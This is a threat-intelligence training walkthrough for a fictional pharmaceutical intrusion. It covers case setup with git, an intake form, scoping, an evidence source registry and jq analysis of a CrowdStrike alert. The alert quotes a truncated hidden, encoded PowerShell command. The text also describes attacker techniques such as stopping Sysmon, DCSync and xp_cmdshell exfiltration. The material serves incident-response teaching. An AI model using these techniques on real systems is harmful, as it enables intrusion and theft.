Skip to main content

CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma

A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.

All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.


Contents


The Scenario

LifeTech Pharma Ltd. is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\\LicenseDeals\\USPartner2024\\ — 47 files, approximately 380 MB compressed.

On Friday, 15 November 2024 at 18:47 IST, the on-call SOC analyst receives a CrowdStrike behavioral detection:

ALERT: Suspicious PowerShell Activity
Severity: High — Behavioral IOA
Host: WS-CFO-01.lifetechpharma.local [Michal Cohen, CFO]
Process: powershell.exe (PID 3784)
Parent: OUTLOOK.EXE (PID 2240)
CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...
Timestamp: 2024-11-15T18:42:33Z

That's the visible trigger. The actual breach started 24 days earlier — and the alert is the second of two entry points, not the first.


Step 00: Clone, Initialize, and Fill the Template

Before the phone rings. This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.

1. Clone the repository (one-time setup)

If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:

cd ~
git clone https://github.com/anpa1200/CTI_as_a_Code.git

You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:

cd ~/CTI_as_a_Code && git pull

2. Create your investigations folder

mkdir -p ~/investigations

Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.

3. Copy the reactive template for this case

cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11

Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:

ls ~/investigations/lifetech-2024-11/

Expected:

00-scope/ 01-evidence/ 02-sources/ 03-analysis/
04-detections/ 05-deliverables/ 06-ai-outputs/ 07-feedback/
README.md intake-form.md project.yml

4. Initialize git inside the case folder

cd ~/investigations/lifetech-2024-11
git init
git add .
git commit -m "PROJ-2024-001: scaffold initialized from reactive template"

This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.

5. Fill in project.yml

This file is the single source of truth for project metadata. Open it now:

nano project.yml

The template has blank fields. Fill every one:

project:
id: "PROJ-2024-001"
name: "LifeTech Pharma — Targeted Intrusion"
type: reactive
classification: TLP:AMBER
status: in-progress

analyst:
name: "Your Name"
role: "CTI Analyst"
contact: "your@email.com"

timeline:
incident_date: "2024-11-15"
detection_date: "2024-11-15"
investigation_start: "2024-11-15"
report_due: "2024-11-17" # INCD 72h clock — expires 18:47 IST Nov 17

pirs:
- id: PIR-001
question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"
priority: high
status: open
- id: PIR-002
question: "How did the adversary gain initial access — phishing, credential theft, or exploitation?"
priority: high
status: open
- id: PIR-003
question: "Is there evidence of ongoing access or persistence as of investigation date?"
priority: high
status: open

scope:
systems:
- WS-CFO-01
- WS-IT-LEVI
- SERVER-RD-02
- SERVER-FIN-01
- DC01
threat_actor: unknown
attck_techniques: [] # leave blank now — fill during R4

deliverables:
- type: executive-brief
status: pending
- type: soc-handoff
status: pending
- type: sigma-rules
count: 0
status: pending

notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI — no hardware access, RTR only."

Do not leave any field as "" or [] if you know the value. Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."

6. Commit the filled metadata

git add project.yml
git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"

The folder is now named, scoped, and version-controlled. The intake call can begin.


Step 0: Intake — What the First Call Captures

Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.

The intake captures facts that change what you look for.

Open the intake form before dialing:

cp intake-form.md 00-scope/intake-2024-11-15.md
nano 00-scope/intake-2024-11-15.md

The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:

# Investigation Intake — PROJ-2024-001 — 2024-11-15

Completed by: On-call CTI analyst (Yael Mizrahi)
Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)
Call time: 2024-11-15 18:55 IST

---

## 1. What was reported?

**1.1 What did you see or receive that caused you to raise this?**
"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —
PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the
network tab and found 3 outbound connections to 203.0.113.87 over the last 15
minutes. This is the CFO's machine. We escalated immediately."

**1.2 Where did this first come to your attention?**
- [x] Alert from SIEM / EDR / AV ← CrowdStrike Falcon behavioral IOA, severity: High

**1.3 When did you first notice it?**
Date: 2024-11-15 Time: 18:47 Timezone: IST (UTC+2)

**1.4 Do you believe the activity is still ongoing?**
- [x] Yes — still active (C2 connections still firing at time of call)

---

## 2. What is already known?

**2.1 What systems, accounts, or services appear to be involved?**
- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.
- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.
- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.
- No other hosts identified yet — investigation is 8 minutes old.

**2.2 What was the observed behavior?**
"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded
command has not been decoded yet. Three separate TCP connections to 203.0.113.87
on port 443 over 15 minutes — looks like a beacon pattern."

**2.3 Has anyone else already investigated or looked into this?**
- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).
What did they touch: read-only Splunk queries. No changes to the endpoint.

**2.4 What do you think happened?**
"Probably a phishing email with a malicious attachment — xlsm macro or something
similar. Michal must have opened it in the last few hours. We don't know if anyone
else was targeted."

---

## 3. Timeline of discovery

**3.1 When do you believe the activity started?**
- [ ] Known
- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell
launch timestamp from CrowdStrike event).

**3.2 How long do you estimate the activity has been occurring?**
Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).
However: unknown whether this is the beginning of the intrusion or a later stage.

**3.3 Is there a specific event that triggered the alert or complaint?**
CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated
at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.

---

## 4. What has already been done?

**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**
- [x] No — WS-CFO-01 is still running. Not yet isolated.

**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**
- [x] No — no credential changes made yet.

**4.3 Has any network access been blocked or firewall rules been changed?**
- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check
with you first before blocking — didn't want to tip them off."

**4.4 Has any malware been deleted or quarantined?**
- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,
not Prevented (policy is set to Detect-only on this machine — CFO exception policy).

**4.5 Has anyone notified external parties?**
- [x] No — no external notification yet. INCD assessment pending scope confirmation.

---

## 5. Systems and access

**5.1 What logging is expected to exist for the affected systems?**
- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on
WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.
- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.
- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).
- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.
⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.
- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.
NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.
- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.

**5.2 What tools and access does the analyst have?**
- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)
- [x] Read access to SIEM (Splunk — full org)
- [x] Access to EDR console (CrowdStrike Falcon — full org view)
- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)
- [x] Access to cloud console (Azure AD — Security Reader role)
- [x] Access to email gateway (M365 Security & Compliance — Message Trace)
- [ ] VPN / jump host credentials — not yet, request submitted
- [x] TheHive / OpenCTI lab access

**5.3 Are there any systems the analyst should NOT touch?**
⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.
HR investigation underway — UNRELATED to this incident (employment matter).
Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).
Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.
No memory image, no disk image, no physical access until hold lifted.

---

## 6. Business impact

**6.1 What business processes are affected or at risk?**
"The CFO's email and workstation are involved. If this is a full compromise, finance
data is at risk. We also have R&D server SERVER-RD-02 — it holds the formula files
for the US licensing deal. That deal closes in 6 weeks. If those files were touched,
we have an FDA NDA issue and a $52M deal at risk."

**6.2 Is customer data, employee data, or regulated data potentially involved?**
- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,
47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path
extended to finance server.

**6.3 What is the financial exposure if this is confirmed?**
Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy
Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US
partner disclosure obligation if formula data confirmed exfiltrated.

**6.4 Is there a hard deadline driving this investigation?**
- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of
breach (not discovery of alert). If formula data or critical infrastructure
involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.

---

## 7. Regulatory and legal constraints

**7.1 Are there applicable notification requirements?**

| Regulation | Applicable? | Deadline | Notified? |
|---|---|---|---|
| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |
| Biometric Database Authority | No — no biometric data at LifeTech || N/A |
| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity || N/A |
| GDPR | TBD — EU customers in export data? | 72h from awareness | No |
| PCI-DSS | No — no card processing at LifeTech || N/A |
| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |
| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |

**7.2 Is there an active legal hold on any systems or data?**
- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.
Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.

**7.3 Has legal counsel been notified?**
- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.
Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.

---

## 8. Analyst notes

(Raw notes taken during call — unprocessed)

- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"
→ IR Lead decision: do not inform CFO until after memory dump. Risk: she might
reboot the machine.
- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).
This is why the process was not killed automatically. SOC should evaluate
moving to Prevent for exec machines after this incident.
- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our
end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).
- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have
network artifact or decrypted payload in memory. Action: RTR memory dump NOW.
- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the
formula file risk yet. Will scope that separately after evidence inventory.
- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold
is coincidental. However: IT admin access + legal hold + security incident
creates a complex situation. Document carefully.

---

## 9. Next actions

| # | Action | Owner | Due |
|---|---|---|---|
| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |
| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |
| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |
| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |
| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |
| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |
| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |
| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |

---

*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*
*Case opened in TheHive: PROJ-2024-001.*

Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

git add 00-scope/intake-2024-11-15.md
git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"

Step 1–2: Project Setup and Scope

The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: you do not start looking at logs until the scope is committed.

1. Open the scope document

nano 00-scope/scope.md

The template has six sections. Here is the complete filled file for LifeTech:

# Scope Definition

**Project:** PROJ-2024-001
**Classification:** TLP:AMBER
**Date scoped:** 2024-11-15
**Scoped by:** Yael Mizrahi (CTI Analyst)
**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST

---

## Incident Summary

CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on
2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound
C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of
compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator
of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,
47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,
FDA NDA obligations). INCD 72h notification clock assessed as active from time of
discovery.

---

## In Scope

| Asset / System | Owner | Justification |
|---|---|---|
| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |
| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |
| SERVER-RD-02.lifetechpharma.local | R&D Dept | Formula file storage — PIR-001 primary asset |
| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |
| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |
| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |
| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |
| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |

---

## Out of Scope

| Asset / System | Reason for Exclusion |
|---|---|
| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |
| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |
| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |
| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |

---

## Priority Intelligence Requirements (PIRs)

| ID | Question | Priority | Due | Status |
|---|---|---|---|---|
| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |
| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |
| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |

---

## Constraints and Assumptions

- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17
18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data
breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed
exfiltrated — no specific deadline but immediate notification is standard practice.
- **Evidence limitations:**
- Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6
outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**
- Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).
- CrowdStrike NOT deployed on R&D server fleet (12 servers) or DC01.
- DC01 Windows Security log: only partial export available — full log inaccessible.
- ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.
- **Access restrictions:**
- WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted
with full session logging. Contact Adv. Dina Shapiro before any exception.
- VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).
- **Assumptions:**
- All log timestamps assumed UTC unless explicitly marked IST in source.
- CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).
- Sysmon EID events treated as CONFIRMED source where forwarder health is verified.

---

## Stakeholders

| Name | Role | Involvement |
|---|---|---|
| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |
| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |
| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |
| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |
| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |

---

## Definition of Done

This investigation is complete when:

- [ ] All three PIRs answered or formally deferred with documented reasoning
- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)
- [ ] ATT&CK mapping completed and reviewed — all confirmed techniques have a gap type
- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap
- [ ] SOC handoff document delivered to Ran Katz and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)
- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)
- [ ] project.yml status set to `closed` and all PIR statuses updated

2. Save the file and commit

git add 00-scope/scope.md
git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"

The firewall log retention deadline drives everything. SERVER-RD-02's November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.


Step R1: Evidence Inventory — What Exists and What Is Missing

The evidence inventory runs before analysis. The rule: you do not analyze what you have not inventoried.

1. Open the source registry

nano 02-sources/source-registry.md

The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.

2. Fill in what you have

Here is the complete filled 02-sources/source-registry.md for LifeTech:

# Intelligence Source Registry

**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion

Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).
Information reliability: 1 (confirmed by other sources) – 6 (truth cannot be judged).

---

## Internal Sources

| ID | Source | Systems Covered | Type | Admiralty | Retention | Notes / Gaps |
|---|---|---|---|---|---|---|
| INT-001 | CrowdStrike Falcon EDR | WS-CFO-01, SERVER-FIN-01 | Endpoint telemetry | A/2 | 90 days | ⚠ NOT deployed on SERVER-RD-02, DC01, or any of 12 R&D servers |
| INT-002 | Sysmon (via Winlogbeat → Splunk) | WS-CFO-01, WS-IT-LEVI | Endpoint telemetry | A/2 | 30 days in Splunk | ⚠ WS-IT-LEVI: 10-day gap 2024-10-22–2024-11-01 (GAP-001). NOT on any server |
| INT-003 | Windows Security Event Log | SERVER-RD-02, DC01, SERVER-FIN-01 | Auth / object access | B/2 | 30 days in Splunk | Partial: EID 4624, 4662, 4663 only forwarded. Full DC01 log inaccessible |
| INT-004 | Palo Alto NGFW — DNS logs | Perimeter (all hosts) | DNS telemetry | A/2 | 30 days | Full org coverage. Used for C2 domain pivot |
| INT-005 | Palo Alto NGFW — firewall flows | Perimeter (all hosts) | Network flow | A/2 | **14 days only** | ⚠ SERVER-RD-02 Nov 6 outbound traffic expires 2024-11-20. Retrieve immediately |
| INT-006 | Cisco AnyConnect VPN logs | Remote access (all users) | Auth / session | A/2 | 30 days in Splunk | Full session data including source IP, duration, MFA status |
| INT-007 | M365 Message Trace | Exchange Online (all users) | Email delivery | A/2 | 30 days | ATP enabled but ⚠ sandbox NOT enabled for .xlsm files — attachment was delivered uninspected |
| INT-008 | Azure AD sign-in logs | Cloud auth (all users) | Auth / session | A/2 | 30 days | Includes MFA status, conditional access result, source IP, device |
| INT-009 | SQL Server audit log (SERVER-RD-02) | SERVER-RD-02 databases | Object access | B/3 | 30 days | Partial EIDs only. File-level access (EID 4663) confirmed for USPartner2024 |
| INT-010 | RADIUS log (VPN auth) | VPN gateway | Auth | A/2 | 30 days | Corroborates AnyConnect session data — used to validate SessionID match |

---

## External / OSINT Sources

| ID | Source | Type | Admiralty | TLP | Notes |
|---|---|---|---|---|---|
| EXT-001 | VirusTotal | IOC enrichment (hash, IP, domain) | C/3 | TLP:WHITE | 203.0.113.87 enrichment; binary hash lookup for svchost32.exe |
| EXT-002 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | Co-hosted domain discovery on C2 IPs |
| EXT-003 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | telemetry-cdn-services[.]biz, lifetechpharma-corp[.]eu analysis |
| EXT-004 | PassiveDNS (RiskIQ/Farsight) | Historical DNS resolution | C/2 | TLP:WHITE | Infrastructure pivot from C2 IPs to actor-linked domains |
| EXT-005 | WHOIS / ICANN | Domain registration | D/3 | TLP:WHITE | lifetechpharma-corp[.]eu registration date 2024-10-18 confirmed |
| EXT-006 | Certificate Transparency (crt.sh) | TLS cert history | C/3 | TLP:WHITE | SAN pivot — co-hosted domains on C2 infrastructure |
| EXT-007 | CERT-IL advisory feed | Government threat intel | A/2 | TLP:AMBER | Checked for matching C2 IPs and actor profiles — no match at time of investigation |
| EXT-008 | ClearSky / Mandiant public reporting | Threat actor reports | B/2 | TLP:WHITE | Iranian-nexus industrial espionage pattern matching for attribution |

---

## Source Limitations

| Source | Known Limitation |
|---|---|
| INT-001 (CrowdStrike) | Detect-only policy on WS-CFO-01 (CFO exception) — process was not killed. Not deployed on server fleet or DC01 |
| INT-002 (Sysmon) | 10-day gap on WS-IT-LEVI (GAP-001). Not deployed on any server. Cannot reconstruct server-side process activity |
| INT-003 (Windows Security) | DC01 full log inaccessible — only Splunk-forwarded subset available. May miss authentication events not in forwarded EID list |
| INT-005 (Firewall flows) | 14-day retention only. Any server traffic before 2024-11-01 is expired. Nov 6 traffic expires 2024-11-20 |
| INT-007 (M365 ATP) | .xlsm files not sandboxed — SCL=4 phishing email delivered without detonation. Attachment analysis not available from gateway |
| INT-009 (SQL audit) | Partial EID forwarding only. Full SQL audit trail not in SIEM — direct server access required for complete file access log |
| EXT-007 (CERT-IL) | No deconfliction performed for this actor — no advisory matched at time of investigation. Absence of match ≠ absence of attribution |

For LifeTech, the completed source registry reveals the critical coverage picture:

GAP-001 — WS-IT-LEVI Sysmon: October 22 – November 1, 2024

Duration: 10 days
Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with
the day the IT admin received a phishing email.
What is missing: process creation (EID 1), network connections (EID 3),
file creation (EID 11) for this host during this entire window.
Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI
between Oct 22 and Nov 1. All claims about this period are INFERRED
or HYPOTHESIZED unless supported by alternative sources (VPN logs,
DC authentication logs, firewall flows).
Possible cause: Deliberate anti-forensic technique — terminating Sysmon
service is a known evasion method.

The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.

3. Create a GAP document for every gap

Each gap gets its own file. Create it now:

nano 01-evidence/GAP-001-ws-it-levi-sysmon.md

Paste the filled template:

# GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01

Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)
Root cause: Sysmon forwarder stopped. Coincides exactly with delivery
of phishing email to p.levi at 11:23 UTC.
What is missing: EID 1 (process creation), EID 3 (network connections),
EID 11 (file creation) for WS-IT-LEVI during this entire window.
Impact: Cannot confirm or rule out attacker activity during this period.
All claims covering Oct 22–Nov 1 on this host are INFERRED or
HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or
firewall flows.
Possible cause: Deliberate — terminating Sysmon is T1562.001 (Impair
Defenses). A gap coinciding with a malicious delivery is itself a
finding, not merely an absence.

4. Commit the evidence inventory

git add 01-evidence/ 02-sources/source-registry.md
git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"

Step R1.5: Hands-On Evidence Analysis — VS Code Investigation

The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.

Setup — Open the Evidence Folder

# One command opens the entire evidence directory as a workspace
code ~/investigations/lifetech-2024-11/01-evidence/

VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.

Install four extensions before starting (Ctrl+Shift+X, search by ID):

ExtensionIDPurpose
Rainbow CSVmechatroner.rainbow-csvColumn-aware CSV viewer with RBQL SQL query
REST Clienthumao.rest-clientRun VirusTotal / Shodan API calls inline
Hex Editorms-vscode.hexeditorInspect binary files without leaving VS Code
Prettieresbenp.prettier-vscodeAuto-format JSON/JSONL on open (Shift+Alt+F)

Or install all at once from the integrated terminal (Ctrl+`` ):

code --install-extension mechatroner.rainbow-csv
code --install-extension humao.rest-client
code --install-extension ms-vscode.hexeditor
code --install-extension esbenp.prettier-vscode

Key VS Code shortcuts used throughout this step:

ShortcutWhat it does
Ctrl+`` ``Toggle integrated terminal
Ctrl+FSearch in current file
Ctrl+Shift+FSearch across all open files (global pivot)
Ctrl+Shift+OJSON Outline — navigate nested structure
Shift+Alt+FFormat current file (Prettier)
F5Open RBQL query console (Rainbow CSV)
Ctrl+GGo to line / offset (Hex Editor)

Download the training evidence:

git clone https://github.com/anpa1200/CTI_as_a_Code.git
code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/

Direct links to open any file in GitHub (also downloadable via curl -L):

FileFormatWhat It ContainsGitHub
m365/message-trace-p.levi.csvCSVIT admin phishing delivery, Oct 15–24GitHub
m365/message-trace-m.cohen.csvCSVCFO phishing delivery, Nov 13–15GitHub
azure-ad/signin-p.levi.jsonJSONIT admin Azure AD sign-ins — Istanbul token replayGitHub
vpn/anyconnect-2024-10-24.logASA syslogVPN session from Istanbul, Oct 24GitHub
sysmon/WS-CFO-01-sysmon.jsonlJSONLCFO workstation — PowerShell, LSASS, persistence, BITSGitHub
crowdstrike/WS-CFO-01-alert-20241115.jsonJSONCrowdStrike Falcon alert — triggering detectionGitHub
windows-security/DC01-security.jsonlJSONLDC01 security events — DCSync EID 4662GitHub
windows-security/SERVER-RD-02-security.jsonlJSONLR&D server — EID 4663 file access, EID 5156 exfilGitHub
palo-alto/ngfw-flows.csvCSVPerimeter firewall flows — 381 MB exfil confirmedGitHub
palo-alto/dns-queries.csvCSVDNS telemetry — C2 beacon patternGitHub
sql-audit/SERVER-RD-02-sql-audit.jsonlJSONLSQL Server audit — full xp_cmdshell exfil chainGitHub
GAP-001-ws-it-levi-sysmon.mdMarkdownDocumented 10-day Sysmon gap on IT admin hostGitHub

1. CrowdStrike Alert — JSON in VS Code

In VS Code Explorer: click crowdstrike/WS-CFO-01-alert-20241115.json

Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.

Open the Outline panel (Ctrl+Shift+O):

▶ meta
▼ resources
▼ [0]
▶ device — hostname, OS, groups
▼ behaviors
[0] Execution / T1059.001 — OUTLOOK.EXE → powershell.exe
[1] Command and Control / T1071.001
[2] Persistence / T1547.001
[3] Credential Access / T1003.001
▶ network_accesses
▶ prevention_policy

Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. Take the memory dump before anything else.

Search (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.

Extract key fields in the integrated terminal (Ctrl+`` ):

jq '.resources[0] | {
detection_id,
severity: .max_severity_displayname,
host: .device.hostname,
prevented: .prevention_policy.prevent,
timestamp: .created_timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json

Output:

{
"detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",
"severity": "Critical",
"host": "WS-CFO-01",
"prevented": false,
"timestamp": "2024-11-15T16:42:47.882Z"
}
# List all detected behaviors
jq '.resources[0].behaviors[] | {
timestamp, tactic, technique_id, display_name,
parent: .parent_image_filename,
image: .filename,
cmdline: (.cmdline // "" | .[0:80])
}' crowdstrike/WS-CFO-01-alert-20241115.json
# Network connections observed
jq '.resources[0].network_accesses[] | {
remote_address, remote_port, direction, timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json
# Prevention policy — confirm detect-only mode and note the policy gap
jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \
crowdstrike/WS-CFO-01-alert-20241115.json

